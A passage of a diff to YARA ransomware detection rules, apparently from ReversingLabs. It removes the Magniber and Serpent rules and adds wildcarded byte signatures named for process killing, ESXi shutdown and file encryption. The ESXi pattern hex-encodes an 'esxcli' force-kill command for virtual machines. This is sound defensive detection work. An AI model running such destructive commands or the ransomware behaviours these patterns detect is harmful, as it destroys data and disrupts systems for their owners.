-            ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? EB ?? 8B
-            6C 24 ?? 8D 4C 24 ?? 51 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B3 ?? 55 FF 15
-            ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 8A C3 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ??
-            ?? ?? C3
+		$kill_processes_v1_p1 = {
+            55 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 E9 56 53 E8 ?? ?? ?? ?? 81 C3
+            ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 66 89 54 24 ?? 8D 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24
+            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ??
+            C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
+            ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 8B 83 ?? ?? ?? ??
+            89 44 24 ?? 8B 83 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? F3 A5 8D B4 24 ?? ?? ?? ?? C6 44
         }
-		$app_whitelisting_2 = {
-            6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C4 50 8D 44
-            24 ?? 64 A3 ?? ?? ?? ?? 8D 44 24 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 70 ?? C7 44
-            24 ?? ?? ?? ?? ?? 56 C7 06 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 8B 36 EB
-            ?? 33 F6 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 72 ?? 8B 4C 24
-            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 64 89 0D
-            ?? ?? ?? ?? 59 5E 83 C4 ?? C3
+		$kill_processes_v1_p2 = {
+            24 ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 F7 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 CD C7 44 24 ?? ?? ??
+            ?? ?? B9 ?? ?? ?? ?? 89 E8 F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ??
+            ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ??
+            ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8
+            B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89
+            34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7
+            8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ??
+            ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D 84 24 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 89 34
+            24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ?? F3 AB FF B4 24 ?? ?? ?? ?? 89 F7 8D
+            44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 C4 ?? 89 E8 B9 ?? ?? ?? ??
+            F3 AB FF B4 24 ?? ?? ?? ?? 8D 44 24 ?? 50 56 E8 ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ??
+            81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3
         }
-
-	condition:
-		uint16(0)==0x5A4D and $encrypt_files and $app_whitelisting_1 and $app_whitelisting_2
-}
-rule REVERSINGLABS_Win32_Ransomware_Magniber : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Magniber ransomware."
-		author = "ReversingLabs"
-		id = "07b6c938-aa25-5ff6-95d2-9e0f84c41b41"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Magniber.yara#L1-L114"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "05b516f9b466489ea3a30e2fe5eb08290e85ece7a63e29e8bbbeb81c87d0a6f1"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Magniber"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$remote_connection = {
-            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55
-            ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
-            15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ??
-            8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 6A
-            ?? 8D 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ??
-            74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ??
-            ?? 8B 55 ?? 83 C2 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D
-            ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 EB ??
-            C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ??
-            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15
+		$shut_down_esxi_v1 = {
+            55 B8 ?? ?? ?? ?? BD ?? ?? ?? ?? 57 89 C1 56 53 E8 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 81
+            EC ?? ?? ?? ?? 8D 7C 24 ?? C7 44 24 ?? 65 73 78 63 C7 44 24 ?? 6C 69 20 76 C7 44 24
+            ?? 6D 20 70 72 8D B3 ?? ?? ?? ?? C7 44 24 ?? 6F 63 65 73 F3 A5 8D B4 24 ?? ?? ?? ??
+            C7 44 24 ?? 73 20 6B 69 83 EC ?? 89 F7 C7 44 24 ?? 6C 6C 20 2D C7 44 24 ?? 2D 74 79
+            70 C7 44 24 ?? 65 3D 66 6F C7 44 24 ?? 72 63 65 20 C7 44 24 ?? 2D 2D 77 6F 89 C8 B9
+            ?? ?? ?? ?? C7 44 24 ?? 72 6C 64 2D C7 44 24 ?? 69 64 3D 22 C7 84 24 ?? ?? ?? ?? 25
+            73 22 00 C7 44 24 ?? 5B 45 53 58 C7 44 24 ?? 69 5D 20 53 C7 44 24 ?? 68 75 74 74 C7
+            44 24 ?? 69 6E 67 20 C7 44 24 ?? 64 6F 77 6E F3 AB C7 44 24 ?? 20 2D 20 25 8D 83 ??
+            ?? ?? ?? 66 89 6C 24 ?? C6 44 24 ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 C5 8D 44 24 ?? 66 89 7C 24 ?? 31 FF
         }
-		$encrypt_files_1 = {
-            55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ??
-            ?? ?? ?? 89 45 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 03 55 ?? 8D 44 12
-            ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? EB
-            ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 7D ?? 8B 45 ?? 8B 4D ?? 8B 55 ?? 8B
-            75 ?? 66 8B 14 56 66 89 14 41 EB ?? B8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 66 89 04 4A C7
-            45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 7D ?? 8B 55 ??
-            03 55 ?? 8B 45 ?? 8B 4D ?? 8B 75 ?? 66 8B 0C 4E 66 89 4C 50 ?? EB ?? 8B 55 ?? 03 55
-            ?? 33 C0 8B 4D ?? 66 89 44 51 ?? 8D 55 ?? 52 8D 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 8B
+		$kill_processes_v2_p1 = {
+            41 54 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 45 31 E4 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 55 48 89
+            FD 53 48 81 EC ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 48 89 84 24 ?? ?? ?? ?? B8 ?? ??
+            ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F
+            6F 05 ?? ?? 00 00 48 89 DF 66 89 44 24 ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 44 24
+            ?? 66 0F 6F 05 ?? ?? 00 00 66 89 54 24 ?? 48 89 EA 0F 29 44 24 ?? 66 0F 6F 05 ?? ??
+            00 00 66 89 8C 24 ?? ?? 00 00 B9 ?? ?? ?? ?? 0F 29 44 24 ?? 66 0F 6F 05 ?? ?? 00 00
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6
+            84 24 ?? ?? ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C7 44 24 ?? ??
+            ?? ?? ?? 0F 29 84 24 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 00 00 C6 44 24 ?? ?? 0F 29 84 24
+            ?? ?? ?? ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? C7 84 24 ?? ?? ??
+            ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 B8
         }
-		$encrypt_files_2 = {
-            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ??
-            ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83
-            7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0
-            75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84
-            ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 4D ?? 51 6A ??
-            8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 99 8B 4D ??
-            2B 4D ?? 8B 75 ?? 1B 75 ?? 89 45 ?? 89 55 ?? 89 4D ?? 89 75 ?? 8B 55 ?? 3B 55 ?? 7C
-            ?? 7F ?? 8B 45 ?? 3B 45 ?? 76 ?? 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55
-            ?? EB ?? 8B 45 ?? 99 89 45 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B
+		$kill_processes_v2_p2 = {
+            48 89 44 24 ?? 4C 89 E0 F3 48 AB 48 89 DF C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ??
+            ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ??
+            ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8
+            ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D
+            74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF
+            B9 ?? ?? ?? ?? F3 48 AB 48 8D B4 24 ?? ?? ?? ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48
+            89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ?? F3 48 AB 48 8D 74 24 ?? 48 89
+            EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 E0 48 89 DF B9 ?? ?? ?? ??
+            F3 48 AB 48 8D 74 24 ?? 48 89 EA 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48
+            81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3
         }
-		$encrypt_files_3 = {
-            45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 83 7D ??
-            ?? 75 ?? E9 ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 73 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55
-            ?? 8B 45 ?? 50 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ??
-            ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51
-            6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45
-            ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? EB ??
-            E9 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ??
-            74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ??
-            83 7D ?? ?? 74 ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? 7F ?? 8B 4D ?? 3B 4D ??
-            76 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ??
-            8B 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ??
-            83 C4 ?? B8 ?? ?? ?? ?? EB
+		$encrypt_files_v2_p1 = {
+            48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 41 57 66 0F EF C0 49 89 FF 41 56 49 89 D6 41 55 49 89
+            F5 BE ?? ?? ?? ?? 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 4C 24 ?? 48
+            8D AC 24 ?? ?? ?? ?? 48 89 DF 4C 89 04 24 0F 29 44 24 ?? 0F 29 44 24 ?? 0F 29 44 24
+            ?? 48 C7 44 24 ?? ?? ?? ?? ?? 0F 29 44 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 75
+            ?? 45 31 E4 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF BE ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 44 89 E0 5B 5D
+            41 5C 41 5D 41 5E 41 5F C3 0F 1F 80 ?? ?? ?? ?? 48 8D 7B ?? BE ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8D 35 ?? ?? ??
+            ?? 4C 89 FF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 89 FF E8 ??
+            ?? ?? ?? 4C 89 FE 4C 89 EF 48 89 C2 49 89 C4 E8 ?? ?? ?? ?? 8B 54 24 ?? 4B 8D 44 25
+            ?? 31 F6 89 10 0F B7 54 24 ?? 66 89 50 ?? 0F B6 54 24 ?? 88 50 ?? BA ?? ?? ?? ?? 43
+            C6 44 25 ?? ?? 4C 8B 64 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24 ?? 45 31
+            E4 E8 ?? ?? ?? ?? 48 83 F8 ?? 7E ?? 4C 89 EE 4C 89 FF E8 ?? ?? ?? ?? 85 C0 74 ?? 48
+            8B 7C 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8B 7C 24 ?? E8 ?? ??
+            ?? ?? 48 8D 35 ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 89 44 24 ?? 49 89 C4 48 85 C0
         }
-		$search_files = {
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 8B 4D ?? 8B 94
-            8D ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 33 C0 E9 ?? ?? ??
-            ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 81 ?? ?? ?? ?? 3B 82 ?? ?? ?? ?? 76 ?? B8 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? B8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ??
-            83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50
-            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 FF 15 ?? ?? ?? ??
-            85 C0 75 ?? EB ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83 C1
-            ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 74 ?? 8B 4D ?? 81 79 ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ??
-            ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ??
-            81 79 ?? ?? ?? ?? ?? 75 ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ??
-            ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 03 45 ?? 89
-            45 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55 ??
-            81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55
-            ?? 81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B
-            55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8
+		$encrypt_files_v2_p2 = {
+            0F 84 ?? ?? ?? ?? 31 F6 BA ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 4C 89 E7 4C 89 64 24
+            ?? E8 ?? ?? ?? ?? 48 39 44 24 ?? 48 0F 4E 44 24 ?? 48 8D 7C 24 ?? 48 89 C1 48 C1 F9
+            ?? 48 C1 E9 ?? 48 8D 14 08 83 E2 ?? 48 29 CA 48 29 D0 48 89 44 24 ?? E8 ?? ?? ?? ??
+            48 8D BC 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DE 48 89 44 24 ?? 31 C0 BA ?? ?? ?? ??
+            F3 48 AB 48 8D 84 24 ?? ?? ?? ?? 48 8B 3C 24 48 89 C1 48 89 44 24 ?? E8 ?? ?? ?? ??
+            41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 4C 89
+            EE E8 ?? ?? ?? ?? 41 89 C4 85 C0 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 4C 8D 64 24 ?? 48
+            85 C0 75 ?? E9 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 4D 89 F1 4D 89 E8 4C 89 E9 4C 89 E2
+            48 89 EE 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F6 BA ?? ?? ?? ?? 4C 89 FF 48 F7
+            DE E8 ?? ?? ?? ?? 4C 89 F9 4C 89 F2 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44
+            24 ?? 4C 29 F0 48 89 44 24 ?? 74 ?? 49 39 C6 4C 8B 7C 24 ?? BE ?? ?? ?? ?? 4C 89 EF
+            4C 0F 47 F0 66 0F 6F 4C 24 ?? 4C 89 F9 4C 89 F2 0F 29 4C 24 ?? E8 ?? ?? ?? ?? 4C 39
+            F0 74 ?? 48 8B 7C 24 ?? 41 BC ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 FE 4C
+            89 EF E8 ?? ?? ?? ?? E9
         }
-
-	condition:
-		uint16(0)==0x5A4D and ($search_files and ( all of ($encrypt_files_*)) and $remote_connection)
-}
-rule REVERSINGLABS_Win32_Ransomware_Serpent : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Serpent ransomware."
-		author = "ReversingLabs"
-		id = "0757ad7c-b2b1-5323-960a-55ffe3eaed12"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Serpent.yara#L1-L122"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5e1917e8d23a5edc65ac423f3d18cc78c3848bd6c1ccc67d052eb37172857081"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Serpent"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$do_dll_stuff_and_create_thread = {
-            68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 89 D2 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 89 FF 90 90 6A ?? 53 E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? 4B 75 ?? BA
-            ?? ?? ?? ?? 66 0F 6E D2 89 FF 89 C9 31 D2 66 0F 7E D2 89 15 ?? ?? ?? ?? 81 3D ?? ??
